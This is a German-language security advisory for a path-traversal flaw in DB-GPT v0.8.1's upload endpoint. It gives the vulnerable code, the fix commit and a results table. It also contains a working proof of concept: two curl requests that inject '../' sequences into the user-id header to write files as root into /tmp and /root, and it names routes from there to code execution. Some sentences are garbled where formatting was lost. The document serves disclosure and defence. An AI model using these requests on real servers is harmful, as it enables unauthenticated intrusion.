
CVE-2026-73034 — DB-GPT v0.8.1 nicht authentifizierter Path-Traversal → beliebiges Schreiben von Dateien als root über den user-id-Header. Verifiziert + Fix-Diff
CVSS 9.8 (Kritisch) · CWE-22 · GHSA/Issue #3104
POST /api/v1/python/file/upload in DB-GPT v0.8.1 nimmt den HTTP-Header user-id und verwendet ihn
roh als Pfadkomponente:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
Es gibt keine Authentifizierung — wenn der Header fehlt, greift die App auf user_id="001"
mit role="admin" zurück. Das Injizieren von ../-Sequenzen in verlässt das Upload-Verzeichnis und ermöglicht es einem
, wo der Container-Prozess (root)
schreiben kann → direkter RCE-Pfad (Webroot , Cron-Jobs, , …).
user-id.pyauthorized_keysBetroffen: DB-GPT ≤ v0.8.1
Behoben: v0.8.2+ — Commit e0c741bd2b5e521b128cffb3f68982dde3f7b359 (fügt eine _SAFE_USER_ID_RE-Whitelist
^[A-Za-z0-9_\-]+$, Prüfungen zur Eindämmung des Upload-Verzeichnisses und eine TOCTOU-Symlink-Neuprüfung hinzu).
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
Hinweis: FastAPI ordnet den Parameter user_id dem user-id-HTTP-Header zu (Bindestrich, nicht
Unterstrich).
| Test | Ergebnis |
|---|---|
Kontroll-Upload (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
Exploit user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt GESCHRIEBEN (root) |
Exploit user-id: ../../../../root | ✅ /root/pwned_root.txt GESCHRIEBEN |
| Behobener Build (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
Vollständiges Skript: poc_cve-2026-73034.sh (führt beide Exploits + Verifizierung im Container + Vergleich mit dem behobenen
Build aus).